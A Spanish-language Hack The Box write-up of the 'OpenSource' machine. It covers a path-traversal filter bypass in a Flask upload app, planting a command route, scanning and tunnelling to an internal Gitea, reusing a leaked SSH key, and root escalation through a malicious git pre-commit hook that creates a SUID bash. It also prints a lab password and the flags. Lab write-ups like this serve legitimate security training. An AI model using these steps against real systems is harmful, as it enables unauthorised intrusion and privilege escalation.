OpenSource expone el codigo fuente de una aplicación, tras analizar el codigo, descubrimos que es posible escribir y acceder a archivos localmente, con ello sobreescribimos el codigo de la aplicación para ejecutar comandos, para luego acceder a un contenedor. Dentro, descubrimos Gitea corriendo en un puerto no expuesto, obtuvimos el puerto localmente para luego descubrir una clave privada SSH que nos dió acceso a la máquina. Finalmete escalamos privilegios tras la ejecución de un cronjob como root con Git.
La dirección /download nos retorna el archivo zip, la dirección /console muestra la consola de Werkzeug, aunque es necesario el PIN para acceder a esta.
Repo - source
Tras descomprimir el archivo zip, vemos que es un repositorio, se observa un archivo de Docker para la aplicación.
Vemos que las credenciales no nos permiten el acceso por SSH.
1
2
3
4
5
6
7
8
π ~/htb/opensource ❯ ssh dev01@10.10.11.164 # dev01:Soulless_Developer#2022The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.164'(ED25519) to the list of known hosts.
dev01@10.10.11.164: Permission denied (publickey).
π ~/htb/opensource ❯
Upcloud
Observamos en el codigo fuente dos rutas, la primera permite subir archivos y la segunda acceder aun archivo segun la ruta dada sin algun tipo de filtro. Además encontramos el archivo utils.py que contiene funciones para direcciones de archivo seguras, en este caso vemos que reemplaza cualquier string con valor ../.
import timedef current_milli_time():
return round(time.time() * 1000)"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")"""
TODO: get unique filename
"""def get_unique_upload_name(unsafe_filename):
spl= unsafe_filename.rsplit("\\.", 1)file_name= spl[0]file_extension= spl[1]return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
Upcloud - Local
Localmente ejecutamos la app, observamos que tras no enviar algun archivo se muestra la dirección completa de donde se encuentra la app. De igual forma podemos obtener esta información en los archivos de configuracion de Docker.
Además observamos que es posible escribir y sobre escribir archivos que la app utiliza, vemos en este caso el archivo configuration.py y el archivo hello.txt en home respectivamente.
También podemos acceder a cualquier archivo conociendo su dirección completa, en este caso configuration.py.
User - Container
Upcloud RCE - Local
Sabiendo que podemos sobreescribir archivos de la app, vamos a crear y agregar una nueva ruta en views.py que nos permita ejecutar comandos. En este caso utilizando la librería os que ya está definida en este archivo.
/root # ./nmap -p- --min-rate 3000 172.17.0.1Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-06-20 04:32 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000027s latency).
Not shown: 65524 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open unknown
6000/tcp open x11
6001/tcp open x11-1
6002/tcp open x11-2
6003/tcp open x11-3
6004/tcp open x11-4
6005/tcp open x11-5
6006/tcp open x11-6
6007/tcp open x11-7
MAC Address: 02:42:F9:EF:38:86 (Unknown)dsap done: 1 IP address (1 host up) scanned in 52.13 secon
/root #
Tras realizar una solicitud a este vemos que se trata de Gitea.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/root # wget 172.17.0.1:3000Connecting to 172.17.0.1:3000 (172.17.0.1:3000)saving to 'index.html'index.html 100% |********************************|13414 0:00:00 ETA
'index.html' saved
/root # head index.html<!DOCTYPE html>
<html lang="en-US"class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport"content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
<link rel="manifest"href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
<meta name="theme-color"content="#6cc644">
<meta name="default-theme"content="auto" />
<meta name="author"content="Gitea - Git with a cup of tea" />
/root #
Si observamos dicho puerto esta “filtrado” en la máquina y unicamente es accesible localmente.
1
2
3
4
5
6
7
8
9
10
π ~/htb/opensource ❯ nmap 10.10.11.164 -p 3000Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 00:39 EDT
Nmap scan report for 10.10.11.164 (10.10.11.164)Host is up (0.066s latency).
PORT STATE SERVICE
3000/tcp filtered ppp
Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
π ~/htb/opensource ❯
dev01 - User
Chisel
Utilizamos chisel para obtener el puerto 3000 localmente.
Vemos localmente que el puerto 3000 esta a la escucha.
1
2
3
4
5
6
7
8
9
10
11
12
π ~/htb/opensource ❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 0.0.0.0:8081 0.0.0.0:* LISTEN 127483/python3
tcp 00 0.0.0.0:8082 0.0.0.0:* LISTEN 192804/python3
tcp6 00 :::3000 :::* LISTEN 205526/./chisel
tcp6 00 127.0.0.1:8080 :::* LISTEN 57754/java
tcp6 00 :::8181 :::* LISTEN 205526/./chisel
tcp6 00 127.0.0.1:46315 :::* LISTEN 57754/java
π ~/htb/opensource ❯
Tras visitar el puerto 3000 localmente logramos acceder a Gitea.
Utilizando las credenciales que encontramos en el repositorio logramos acceder.
El único repositorio del usuario dev01 es un backup del directorio /home, vemos que tambien está la carpeta .ssh donde encontramos la clave privada ssh.
Shell
Utilizando este archivo logramos obtener acceso como dev01 y obtener la flag user.txt.
π ~/htb/opensource ❯ ssh -i dev01_id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Jun 20 04:50:27 UTC 2022 System load: 0.1 Processes: 220 Usage of /: 75.8% of 3.48GB Users logged in: 0 Memory usage: 25% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
=> There is 1 zombie process.
16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ ls
user.txt
dev01@opensource:~$ cat user.txt
a60f8c63f560b461f3bf646f7453b6dd
dev01@opensource:~$
Privesc
Ejecutamos pspy vemos que un cron se ejecuta cada 2 minutos, generando un backup del directorio home de dev01 utilizando Git.
GTFOBins sugiere distintas formas para ejecutar y leer archivos, una de estas es utilizar el archivo pre-commit donde es posible escribir comandos para su ejecución, en este caso utilizamos el archivo pre-commit.sample, realizamos una copia de este y al inicio agregamos algunos comandos.
Realizamos una copia de bash para luego darle permisos suid.
1
2
3
4
5
6
7
8
9
10
11
12
dev01@opensource:~$ head .git/hooks/pre-commit
#!/bin/sh## An example hook script to verify what is about to be committed.# Called by "git commit" with no arguments. The hook should# exit with non-zero status after issuing an appropriate message if# it wants to stop the commit.## To enable this hook, rename this file to "pre-commit".cp /bin/bash /tmp/bashthis
chmod u+s /tmp/bashthis
dev01@opensource:~$
Despues de unos segundos esperamos a que root ejecutará git, observamos que se creó la copia de bash con permisos suid.
1
2
3
dev01@opensource:~$ ls -lah /tmp/bashthis
-rwsr-xr-x 1 root root 1.1M Jun 20 05:25 /tmp/bashthis
dev01@opensource:~$
Ejecutando esta copia con la flag -p, logramos obtener la flag root.txt.
1
2
3
4
5
6
7
8
9
dev01@opensource:~$ /tmp/bashthis -p
bashthis-4.4# whoami
root
bashthis-4.4# cd /root
bashthis-4.4# ls
config meta root.txt snap
bashthis-4.4# cat root.txt
bc28cc7287b2a22362200b1c3d79b754
bashthis-4.4#